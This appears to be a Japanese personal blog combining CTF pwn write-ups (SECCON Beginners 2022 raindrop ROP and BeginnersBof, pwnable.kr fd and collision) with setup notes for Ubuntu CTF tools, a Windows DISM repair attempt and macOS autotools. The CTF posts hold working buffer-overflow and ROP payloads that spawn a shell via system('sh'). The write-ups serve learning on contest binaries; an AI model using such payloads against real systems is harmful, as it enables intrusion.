SECCON Beginners 2022 復習(2/x)

raindrop

本番中

名前的にROPする問題と分かったが、ROPは勉強したけど良くわからなかった印象
解けると思わなかったので未着手

Writeup

作問した人のWriteupが以下 feneshi.co

BeginnersBofでWriteupのスクリプトが動かなくて困ったので、最初からWriteupのスクリプトを元にバイナリファイルを作って勉強することに。

サーバ準備

socat tcp-l:9001,reuseaddr,fork system:./chall &
echo flag > flag.txt

Writeupスクリプト実行。今回は正しく動いた。

$ python3 answer_write.py
flag
Segmentation fault
2022/06/07 23:16:26 socat[11902] E waitpid(): child 11903 exited with status 139

サーバに送り付けているバイナリファイルの中身を見るため、以下をスクリプトの途中に追加

with open("payload", mode='wb') as f:
     f.write(payload)

中身を見てみる

$ hexdump -Cv payload
00000000  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  53 14 40 00 00 00 00 00  |aaaaaaaaS.@.....|
00000020  f4 20 40 00 00 00 00 00  e5 11 40 00 00 00 00 00  |. @.......@.....|
00000030

aを24個埋めた後、「00000000 00401453」「00000000 004020f4」「00000000 004011e5」を積んでいるらしい。 「00000000 00401453」でリターンアドレスを上書いているのだと思う。 「00000000 00401453」に何があるか見てみる

$ objdump -D -M intel chall > chall.txt
$ less chall.txt
  401452:       41 5f                   pop    r15
  401454:       c3                      ret

「5f c3」らしい。
調べると「5f」は「pop edi」とのこと。「c3」は「ret」なので、「pop edi」命令と「ret」命令を実行するアドレスに飛ばしているようだ。
となると、「00000000 004020f4」はediに入れたいアドレスで、「00000000 004011e5」はret命令で戻るアドレスということになる。

「00000000 004020f4」もみてみる。

$ less chall.txt
  4020f4:       73 68                   jae    40215e <__GNU_EH_FRAME_HDR+0x66>

jae命令のアドレスに見える。これだけではよくわからないので、「00000000 004011e5」を見てみる。

$ less chall.txt
  4011e5:       e8 b6 fe ff ff          call   4010a0 <system@plt>

system関数をcallするところだった。system関数の引数を調べてみる。

#include <stdlib.h>
int system(const char *command);

引数は文字列のアドレスらしい。ということは「00000000 004020f4」はjae命令のアドレスとして扱っているのではなく、 文字列のアドレスとして扱っていることになる。もう一度「00000000 004020f4」を見てみる。

$ less chall.txt
  4020f4:       73 68                   jae    40215e <__GNU_EH_FRAME_HDR+0x66>

「73 68」が文字列のようだ。調べたら「73」が「s」、「68」が「h」なので「sh」ということになる。
ただ、終端(NULL : 0x00)を確認していないのでもう一度見る。

$ less chall.txt
  4020f4:       73 68                   jae    40215e <__GNU_EH_FRAME_HDR+0x66>
        ...
Disassembly of section .eh_frame_hdr:
00000000004020f8 <__GNU_EH_FRAME_HDR>:
  4020f8:       01 1b                   add    DWORD PTR [rbx],ebx

4020f4の次が4020f8になっている。「73 68」の後ろは空白になっているが、おそらく「73 68 00 00」なのだろう。

まとめると、
「00000000 00401453」を書き込むことで「pop edi」命令と「ret」命令を実行するアドレスに行くようにし、
文字列「sh\0」のアドレス「00000000 004020f4」を入れて、system関数のアドレス「00000000 004011e5」を入れておくことで、
vuln関数から出るときにsystem("sh")を実行しているようだ。

最後に、バイナリファイルを入れてフラグが取得できることを確認する。

(自分)$ nc localhost 9001 < payload
nc localhost 9001 < payload
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x00007fff73cc4400  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x6161616161616161  <- buf
 000001 | 0x6161616161616161
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00000000004020f4
cat flag.txt



^C
(自分)$ Segmentation fault
2022/06/07 23:51:19 socat[11948] E waitpid(): child 11949 exited with status 139
cat flag.txt
flag

「finish」の後無応答になったのでshが動いたのかと思ったら違った。なにこれどういう状態?ctrl-cしたらまた無応答になったので「cat flag.txt」したらフラグを取得できた。

感想

「finish」の後何が起きたのかよくわからないのが相変わらずpwnの問題だなという感じだが、ROPがどういうものか初めて理解できたと思った。

2022/06/12追記

discordのpwnableのチャネルを見ていたら本番サーバが生きていると分かったので、raindrop.quals.beginners.seccon.jp:9001にパイナリファイルpayloadを流し込んでみた。

(自分)$ nc raindrop.quals.beginners.seccon.jp 9001 < payload
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x00007ffd3c0fbfd0  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x6161616161616161  <- buf
 000001 | 0x6161616161616161
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00000000004020f4
finish
cat flag.txt


^C
(自分)$

やっぱりfinishの後何を応答しても受けつけてくれなくなる。
自分の環境ではctrl-cで抜けたらサーバのシェルが動いたが、本番環境では自分のシェルに戻ってしまった。流し込むバイナリが正しければいいという話ではなく、標準入出力の仕様を理解していないとだめらしい。
何がいけないのか良く分からないがpythonのpwntoolsを使うしかないのかなと思う。

SECCON Beginners 2022 復習

BeginnersBof

本番中

40文字目からwin()のアドレスを入れられれば良いことまでは分かった。
win()のアドレスも分かり、リトルエンディアンに注意しつつ、バイナリエディタでexploitデータを作成し、 手元で立ち上げたサーバに対して送りつけてみた。
しかし、うまくいかなかった。

Writeup

作問した人がWriteupを上げてくれていたが私の環境では動かなかった。
なのでtwitterで見つけた方法をまとめる。

サーバ環境準備

echo "test" > flag.txt
socat tcp-l:9000,reuseaddr,fork system:./chall &

攻撃

python -c "print('100' + '\x0a' + 'A'*40 + '\xe6\x11\x40\x00\x00\x00\x00\x00')" > in.txt
nc localhost 9000 < in.txt

結果

$ nc localhost 9000 < in.txt
How long is your name?
What's your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@test
Segmentation fault

振り返り

本番中に私が作ったデータは以下。

$ hexdump -Cv attack.bin
00000000  ff 0a 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |..aaaaaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000020  61 61 61 61 61 61 61 61  61 61 e6 11 40 00 00 00  |aaaaaaaaaa..@...|
00000030  00 00 0a                                          |...|
00000033

writeupで作ったデータは以下

$ hexdump -Cv in.txt
00000000  31 30 30 0a 41 41 41 41  41 41 41 41 41 41 41 41  |100.AAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 e6 11 40 00  |AAAAAAAAAAAA..@.|
00000030  00 00 00 00 0a                                    |.....|
00000035

最初の数値の応答がうまく行っていなかった。バイナリエディタで数値の応答データを作ったのが失敗だった。
今思うと各質問に対して応答データを作ってcatでくっつければよかった。

作問した人のwriteupは以下 feneshi.co

手元で動かしてみたけどEOFErrorになる。

$ python3 answer.py
Segmentation fault
2022/06/06 21:04:17 socat[11269] E waitpid(): child 11270 exited with status 139
Traceback (most recent call last):
  File "answer.py", line 22, in <module>
    io.recvuntil(b'ctf4b')
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError

作問者が間違えているとは思えない。環境のせいなのだろうか。
そもそも、単純応答する以下のスクリプトが動かない。

from pwn import *

# connect
io = remote('127.0.0.1', 9999)

# recive question1
r1 = io.recvline()
print(r1)

# answer question1
a1 = "1"
print(a1)
io.sendline(a1)

# recive question2
r2 = io.recvline()
print(r2)

# answer question2
a2 = "a"
print(a2)
io.sendline(a2)

#io.interactive()
# recive question3
r3 = io.recvline()
print(r3)
r4 = io.recvline()
print(r4)

結果

$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 9000: Done
b'How long is your name?\n'
1
exploit.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(a1)
b"What's your name?\n"
aaa
exploit.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(a2)
2022/06/06 21:24:03 socat[11332] E write(5, 0x5579d3d2da90, 4): Broken pipe
Traceback (most recent call last):
  File "exploit.py", line 26, in <module>
    r3 = io.recvline()
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 490, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/kppk0/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to 127.0.0.1 port 9000

sudo apt update && sudo apt upgradeしてみたが結果は変わらなかった。
何が何だか。

感想

参考書や技術書店で買った本で勉強したり、練習サイトで勉強したりしてもう何年もpwnにチャレンジしてるけど本番で解けたことが一度もない。
一番単純なパターンのbofであることは問題文から分かったので、今回こそはと思ったが駄目だったのでそろそろ心が折れそう。
失敗した時になぜうまくいかなかったか、どこが良くなかったか分からないとフィードバックをかけられないのだが、pwnはそういうケースが多くて困る。
ただ、データを作成して送り込む方法ならhexdumpで比べられるので今後はこの方法で進めようと思う。

「Downloader.dll がないため、プログラムを開始できません。」への対処

以下メッセージがでたときの対処方法を書く。

コンピューターに Downloader.dll がないため、プログラムを開始できません。この問題を解決するには、プログラムを再インストールしてみてください。

普通は以下でok。

windowsfaq.net

私の環境ではDismがエラー0x800f081fで失敗したため、以下の方法をとった。

answers.microsoft.com

が、、、「Dism /Online /Cleanup-Image /RestoreHealth /Source:D:\mount\windows /LimitAccess」で またDismがエラー0x800f081fで失敗。。。

install.esdからinstall.winを作成し、「DISM /Online /Cleanup-Image /RestoreHealth /source:ESD:D:\Sources\Install.win:1 /LimitAccess」する方法も試してみたがこれもだめ。。。

調査はまたにすることに。。

ctfのための環境構築(ubuntu編)

はじめに

ctfのために構築した環境をメモしておく。 入れたツールはbinaryとpwn用。

OS

Ubuntu 18.0.4(64bit)をVirtualbox上に構築(ホストはwindows 10)。 Ubuntu 16.0.4(64bit)だといろいろエラーがでて面倒だったので最新版の18.0.4にした。

VM

vmware playerはvmware toolsがうまくインストールできず、面倒だったのでVirtual boxを使用した。

guest addtionsインストール

初回インストール時は「Please install the gcc make perl packages from your distribution.」と出たので、以下を実行してから再実行。

$ sudo apt-get update
$ sudo apt-get install build-essential gcc make perl
$ reboot

askubuntu.com

共用フォルダー設定

ゲストとホストとでファイルを相互にコピーできるように共用フォルダーを作成した。 本当はドラッグアンドドロップできるようにしたかったが、うまく動かなかった。

qiita.com

ツール

共通

git
$ sudo apt-get install git
java
$ sudo apt-get  install default-jre
vim
$ sudo apt-get  install vim
gdb

インストール

$sudo apt-get install  gdb

設定(~/.gdbinit)

set disassembly-flavor intel
set follow-fork-mode child
set history save on
set history filename ~/.gdb_history
set history size 32768
set history expansion on

define xall
  i r eip esp ebp eax
  x/5i $eip
  x/32xw $esp
end

document xall
  Stack and disas helper
end

define xenv
  x/20s *environ
end

document xenv
  Print the environment variables
  from the stack
end

binary用

strace
$ sudo apt-get install strace
ltrace
$ sudo apt-get install ltrace
binutils
$ sudo apt-get install binutils
ghex
$ sudo apt-get install ghex
radare2
$ git clone https://github.com/radare/radare2
$ cd radare2 
$ sudo sys/install.sh
$ cd 

poppycompass.hatenablog.jp

dex2jar
$ wget http://sourceforge.net/projects/dex2jar/files/dex2jar-2.0.zip
$ unzip 
$ cd dex2jar
$ chmod u+x ./*.sh
$ cd 
$ export PATH=$PATH:~/dex2jar-2.0

www.zombie-hunting-club.com

jd-gui

kali linuxには初めから入っているらしい。 windowsでも動くようなので無理にubuntuで動かす必要はないかも。

$ sudo apt-get install libgtk2.0-0:i386
$ sudo apt-get install libxxf86vm1:i386
$ sudo apt-get install libsm6:i386
$ sudo apt-get install lib32stdc++6
$ sudo apt-get install libatk-adaptor:i386 libgail-common:i386
$ sudo apt-get install libcanberra-gtk-module:i386
$ wget http://jd.benow.ca/jd-gui/downloads/jd-gui-0.3.5.linux.i686.tar.gz
$ tar zxvf jd-gui-0.3.5.linux.i686.tar.gz
$ export PATH=$PATH:~/jd-gui

pwn用

下準備
$ mkdir bin
$ export PATH=~/bin:$PATH
checksec
$ git clone https://github.com/slimm609/checksec.sh.git
$ cp checksec.sh/checksec $HOME/bin/checksec.sh
rp++
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O $HOME/bin/rp
peda
$ sudo apt-get install build-essential gcc-multilib
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
socat
$sudo apt-get install  socat
pwntools

pipをpip install --upgrade pipするとバージョン不整合がおきるのでやらない。

$ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install pwntools

参考資料

CTF Pwnのためのメモ

  • disassemble

objdump -d -M intel >

gdb -q

  • セクションヘッダの表示(got/pltをみるのに使う)

"アドレス"にアドレスがでてくる
readelf -S

  • 共用ライブラリを指定して実行

$vi preload
set environment LD_PRELOAD
start

$gdb –q –x preload

  • セキュリティ機構確認

~/checksec.sh-1.6/checksec --file

出力の意味 :
実行ファイルのセキュリティ機構[RELRO/SSP/Nxbit/ASLR/PIE] - Pwn De Ring

  • コアダンプ出力の設定

ulimit -c unlimited

Linux環境設定/コアダンプを出力するようにする - Linuxと過ごす

  • コアダンプ読み込み

gdb

[端末1: 待ち受け側]
$ vim main.sh
gdbserver localhost:1234
$ chmod +x main.sh
$socat TCP-LISTEN:1025,reuseaddr,fork EXEC:"./main.sh"

[端末2: 攻撃側]
$ perl -e 'print "A"x140 . "BBBB"' | nc localhost 1025
payloadを流し込む場合
$ cat payload | nc localhost 1025

[端末3: デバッグ側]
$ vim cmd
file
tartget remote localhost:1234
c
$ gdb -q -x cmd
katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex / katagaitai CTF #2 // Speaker Deck

Pwn練習

Pwnの練習としてpwnable.krのwirteupを書きます。 pwnable.krとはPwnやバイナリ系の問題が多数載っているサイトです。

http://pwnable.kr/play.php

英語、中国語、韓国語のWriteupはいくつか見つかりますが、 日本語のものはないので書いてみます。

[Toddler's Bottle]

もっとも難易度の低いレベルです。もらえるポイントも一桁です。

fd(2016/10/29完)

ファイル記述子に関する問題です。

char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

fd=0つまりstdinからbufへの入力を受け付けるようにし、 LETMEWINを入力すればいいです。 fd=0にするには0x1234(4660)を入力すればいいです。

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

フラグは「mommy! I think I know what a file descriptor is!!」です。

参考サイト: pwnable.kr Toddler's Bottle (easy) write-up · Sirius CTF

collision(2016/10/30完)

以下がプログラムです。

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

引数の文字列を20バイト取り、それを4バイトずつint型の値として見て加算していき、 合計が0x21DD09EC(568134124)になるか判定しています。 つまり、0x21DD09EC(568134124)=0x06C5CEC8(113626824)*4+0x06C5CECC(113626828)となるように、 0x06C5CEC8を4回で16バイト分、0x06C5CECCを1回で4バイト分入力すればokです(ただし、リトルエンディアンなので入力方法に注意が必要です)。

col@ubuntu:~$ ./col $(perl -e 'print "\xc8\xce\xc5\x06"x4 . "\xcc\xce\xc5\x06"')
daddy! I just managed to create a hash collision :)

フラグは「daddy! I just managed to create a hash collision :)」です。

参考サイト: pwnable.kr Toddler's Bottle (easy) write-up · Sirius CTF

Mac OS X EI Capitanにautoconf, automake, libtoolをインストールしたときのメモ

方針

以下のサイトのようにmake installする方法もあったが、
管理できるようにしたかったのでbrewインストールすることにした。

munchpress.com

作業

autoconf
% brew install autoconf
==> Downloading https://homebrew.bintray.com/bottles/autoconf-2.69.el_capitan.bottle.4.tar.gz
######################################################################## 100.0%
==> Pouring autoconf-2.69.el_capitan.bottle.4.tar.gz
==> Caveats
Emacs Lisp files have been installed to:
  /usr/local/share/emacs/site-lisp/autoconf
==> Summary
🍺  /usr/local/Cellar/autoconf/2.69: 70 files, 3.1M
automake
% brew install automake
==> Downloading https://homebrew.bintray.com/bottles/automake-1.15.el_capitan.bottle.2.tar.gz
######################################################################## 100.0%
==> Pouring automake-1.15.el_capitan.bottle.2.tar.gz
🍺  /usr/local/Cellar/automake/1.15: 130 files, 3.2M
libtool

以下実行したらシンボリックリンク作成に失敗
/usr/local/includeがないらしい。

% brew install libtool
==> Downloading https://homebrew.bintray.com/bottles/libtool-2.4.6.el_capitan.bottle.tar.gz
######################################################################## 100.0%
==> Pouring libtool-2.4.6.el_capitan.bottle.tar.gz
Error: The `brew link` step did not complete successfully
The formula built, but is not symlinked into /usr/local
Could not symlink include/libltdl
/usr/local/include is not writable.

You can try again using:
  brew link libtool
==> Caveats
In order to prevent conflicts with Apple's own libtool we have prepended a "g"
so, you have instead: glibtool and glibtoolize.
==> Summary
🍺  /usr/local/Cellar/libtool/2.4.6: 69 files, 3.8M

調べたら確かになかったので作成。
あわせて/usr/local/lib/もなかったので作成。

% cd /usr/local/
% sudo mkdir include
% sudo mkdir lib
% sudo chown -R yuki:admin include
% sudo chown -R yuki:admin lib

シンボリックリンク再作成して成功

% brew link libtool      
Linking /usr/local/Cellar/libtool/2.4.6... 20 symlinks created
% ls /usr/local/lib 
libltdl.7.dylib	libltdl.a	libltdl.dylib
% ls /usr/local/include 
libltdl	ltdl.h